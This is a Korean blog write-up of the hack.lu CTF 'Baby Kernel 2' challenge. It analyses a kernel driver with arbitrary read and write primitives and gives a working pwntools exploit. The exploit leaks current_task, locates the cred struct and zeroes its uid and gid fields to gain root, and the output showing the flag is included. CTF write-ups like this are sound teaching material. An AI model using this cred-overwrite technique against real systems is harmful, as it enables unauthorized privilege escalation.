본문으로 바로가기

Kernel (10) - hack.lu CTF Baby Kernel 2 write-up ( Leak current_task and Cred struct overwrite )

Contents

  • Analysis

  • Exploit scenario

  • Exploit

  • Flag

  • Reference


Analysis

풀어보기 전에, hack.lu CTF가 끝난지 꽤 되었는데도 아직도 nc가 열려있어서 문제풀기 편했다!

module init이나 module exit함수에는 별 다른 내용이 없으므로 주요 함수부터 분석하자.


driver_ioctl()

__int64 __fastcall driver_ioctl(file *file, unsigned int ioctl_num, unsigned __int64 ioctl_param)
{
 read_args *str; // r12
 _QWORD *v5; // [rsp+0h] [rbp-20h]
 __int64 v6; // [rsp+8h] [rbp-18h]

 str = ioctl_param;
 printk(&unk_360);                             // ioctl called
 if ( ioctl_num == 901 )
{
   read(str);
}
 else if ( ioctl_num == 902 )
{
   copy_from_user(&v5, str, 16LL);
   *v5 = v6;
}
 return 0LL;
}

ioctl_num으로 901을 넘기면 read, 902를 넘기면 copy_from_user를 호출한다.


read()

int __fastcall read(read_args *args_ptr)
{
 unsigned __int64 val; // [rsp+0h] [rbp-18h]
 read_args args; // [rsp+8h] [rbp-10h]

 copy_from_user(&args, args_ptr, 16LL);
 val = *args.addr;
 copy_to_user(args.out, &val, 8LL);
 return 0;
}

read함수는 아래와 같다.


args구조체는 아래와 같이 선언되어있다.

struct read_args
{
 unsigned __int64 addr;
 unsigned __int64 *out;
};

copy_from_user(&args, args_ptr, 16LL);에서 args_ptr의 데이터를 args에 써넣는다.

그리고, valargs.addr의 내부 값을 저장시킨다.

마지막으로 args.outval을 저장시킨다.

즉, 아래와 같은 느낌이다.


read(e.got["read"])
=> val = *args.addr
=> val = *(0x601020)
=> val = 0x7f......
=> args.out = 0x7f....

정리하면, 주소를 하나 입력했을때 그 주소의 내부 데이터를 리턴시켜주는 함수이다.

write()

int __fastcall write(write_args *args_ptr)
{
 write_args args; // [rsp+0h] [rbp-10h]

 copy_from_user(&args, args_ptr, 16LL);
 *args.addr = args.value;
 return 0;
}

args_ptrargs에 저장시킨다.

여기서는 아래와 같은 구조체를 사용한다.


struct write_args
{
 unsigned __int64 addr;
 unsigned __int64 value;
};

args_addr의 값을 args.value로 저장시키는 함수이다.

여기까지만 봐도 끝났다 ㅎㅎ...

일단 AARAAW가 둘다 발생해버리다.

이제 쓱쓱하면 싹싹 풀 수 있다.


Exploit scenario

커널 문제는 맨날 하던거처럼 commit_cred(prepare_kernel_cred(0))으로 끝내야한다.

하지만 여기는 AAW가 가능하므로 그냥 cred struct의 값을 전부 0으로 덮어쓰면 된다.

cred struct를 봐보자.

struct cred {
    atomic_t usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t subscribers; /* number of processes subscribed */
    void *put_addr;
    unsigned magic;
    #define CRED_MAGIC     0x43736564
    #define CRED_MAGIC_DEAD     0x44656144
    #endif
    kuid_t uid;     /* real UID of the task */
    kgid_t gid;     /* real GID of the task */
    kuid_t suid;     /* saved UID of the task */
    kgid_t sgid;     /* saved GID of the task */
    kuid_t euid;     /* effective UID of the task */
    kgid_t egid;     /* effective GID of the task */
    kuid_t fsuid;     /* UID for VFS ops */
    kgid_t fsgid;     /* GID for VFS ops */
    unsigned  securebits;     /* SUID-less security management */
    kernel_cap_t cap_inheritable;     /* caps our children can inherit */
    kernel_cap_t cap_permitted;     /* caps we're permitted */
    kernel_cap_t cap_effective;     /* caps we can actually use */
    kernel_cap_t cap_bset;     /* capability bounding set */
    kernel_cap_t cap_ambient;     /* Ambient capability set */
    #ifdef CONFIG_KEYS
    unsigned char jit_keyring;     /* default keyring to attach requested * keys to */
    struct key *session_keyring;     /* keyring inherited over fork */
    struct key *process_keyring;     /* keyring private to this process */
    struct key *thread_keyring;     /* keyring private to this thread */
    struct key *request_key_auth;     /* assumed request_key authority */
    #endif
    #ifdef CONFIG_SECURITY
    void *security;     /* subjective LSM security */
    #endif
    struct user_struct *user;     /* real user ID subscription */
    struct user_namespace *user_ns;     /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;     /* supplementary groups for euid/fsgid */
    /* RCU deletion */
    union {
        int non_rcu;     /* Can we skip RCU deletion? */
        struct rcu_head rcu;     /* RCU deletion hook */
    };
} __randomize_layout;

이 구조체 부분에서 아래 부분만 덮어쓰면 된다.

kuid_t uid;     /* real UID of the task */
kgid_t gid;     /* real GID of the task */
kuid_t suid;     /* saved UID of the task */
kgid_t sgid;     /* saved GID of the task */
kuid_t euid;     /* effective UID of the task */
kgid_t egid;     /* effective GID of the task */
kuid_t fsuid;     /* UID for VFS ops */
kgid_t fsgid;     /* GID for VFS ops */

그런데 이 부분의 주소를 어떻게 구해야할까? 분명 서버에 ASLR도 걸려있을텐데 말이다.

여기서 우리는 current_task라는 친구를 이용하면 된다.


current_task는 현재 실행중인 프로세스의 task_struct주소가 담겨 있다.


그리고 task_struct는 실행중인 프로세스의 스레드 관련 정보가 담겨있는데, 여기 cred구조체도 포함되어서 들어있다.

current_task의 주소는 문제에서 주어진 System.map 파일을 활용하여 구한다.

즉, read함수를 이용하여 read(current_task)꼴로 인자를 넘기면, task_struct의 주소를 알 수 있다.

그리고 해당 주소부터 cred구조체까지의 오프셋을 이용하면, cred구조체까지의 거리도 구할 수 있다.

이제, write함수를 이용하여 해당 주소를 전부 0으로 덮으면 된다.

uid,gid...의 사이즈는 보통 28의 사이즈를 가지고 있으므로, 이만큼 쓱쓱 덮으면 된다!


Exploit

from pwn import *

#context.log_level = "debug"

r = remote("babykernel2.forfuture.fluxfingers.net",1337)

def read(addr):
    r.sendlineafter("> ","1")
    r.sendlineafter("Choose wisely",hex(addr))
    r.recvuntil("power level is: ")
    tmp = int(r.recv(16),16)
    return tmp

def write(addr,value):
    r.sendlineafter("> ","2")
    r.sendlineafter("> ",hex(addr))
    r.sendlineafter("> ",hex(value))

def uid():
    r.sendlineafter("> ","3")
    for i in range(2):
        my_id = r.recvline()
    log.info("id : " + my_id)

current_task = 0xffffffff8183a040
task_struct = read(current_task)
log.info("init_task : " + hex(task_struct))

cred_offset = 0x400
group_offset = 0x60

cred = task_struct + cred_offset
cred_struct = read(cred)
log.info("cred_struct : " + hex(cred_struct))

for i in range(1,8):
    write(cred_struct + i*4,0)

r.interactive()

이런 커널문제는 nc로 어떻게 풀지라는 생각을 많이했었다.

메뉴첼린지로 커널 기능을 구현했을줄은 상상도 못했다. 처음 풀어보는 유형이라 재미있었다.

더 좋은점은 코드를 C로 안짜도 된다는점!


Flag

juntae@ubuntu:~/kernel/baby_kernel_2$ p ex.py 
[+] Opening connection to babykernel2.forfuture.fluxfingers.net on port 1337: Done
[*] init_task : 0xffff888003372300
[*] cred_struct : 0xffff888003384300
[*] Switching to interactive mode

Thanks, boss. I can't believe we're doing this!
flux_baby_2 ioctl nr 902 called
Amazingly, we're back again.
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> $ 3
3
uid=0(root) gid=0(root) groups=1000(user)
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> $ 4
4
$ /flag
Which file are we trying to read?
> /flag
Here are your 0x35 bytes contents:
flag{nicely_done_this_is_how_a_privesc_can_also_go}

권한부분 보면 groupsuser권한이다.

이부분도 루트로 만드려면 credgroup_cred간의 거리를 계산해서 한번 더 write해주면 된다.


Reference